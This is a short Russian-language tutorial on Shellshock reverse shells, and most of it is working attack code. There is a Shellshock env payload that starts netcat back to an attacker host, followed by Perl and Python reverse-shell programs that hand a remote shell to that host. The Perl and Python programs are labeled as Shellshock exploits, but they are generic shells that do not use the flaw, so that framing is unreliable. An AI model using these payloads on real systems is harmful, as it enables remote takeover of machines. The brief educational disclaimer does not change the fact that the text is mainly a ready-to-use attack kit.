Shellshock Reverse Shell: методы и примеры кода для удаленного доступа

Метод 1: Netcat
Netcat — это универсальная сетевая утилита, которую можно использовать для установки обратной оболочки. Чтобы использовать Shellshock с помощью Netcat, выполните следующие действия:

  1. Настроить прослушиватель на машине злоумышленника:

    $ nc -lvp 4444
  2. Воспользуйтесь уязвимостью Shellshock, используя созданный HTTP-запрос:

    $ env x='() { :;}; /bin/nc <attacker_ip> 4444 -e /bin/sh' bash -c "echo vulnerable"

Метод 2: Perl
Perl — мощный язык сценариев, который можно использовать для создания обратных оболочек. Вот пример однострочника Perl, использующего Shellshock:

$ perl -e 'use Socket;$i="<attacker_ip>";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Метод 3: Python
Python также можно использовать для создания обратной оболочки. Вот пример скрипта Python, использующего уязвимость Shellshock:

import socket, subprocess
HOST = '<attacker_ip>'
PORT = 4444
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.sendall(b'Connected to the reverse shell.\n')
while True:
    data = s.recv(1024)
    if data.strip() == b'exit':  # Exit condition
        break
    proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
    output = proc.stdout.read() + proc.stderr.read()
    s.sendall(output)
s.close()

Обратите внимание, что приведенные здесь примеры кода предназначены только для образовательных целей, и перед проведением любого тестирования безопасности или тестирования на проникновение необходимо получить соответствующее разрешение.

В заключение отметим, что уязвимость Shellshock можно использовать для установки обратной оболочки, обеспечивающей удаленный доступ к скомпрометированной системе. Используя такие инструменты, как Netcat, Perl или Python, злоумышленники могут выполнять произвольные команды на целевой машине. Системным администраторам крайне важно минимизировать эту уязвимость, применяя исправления и поддерживая актуальность своих систем.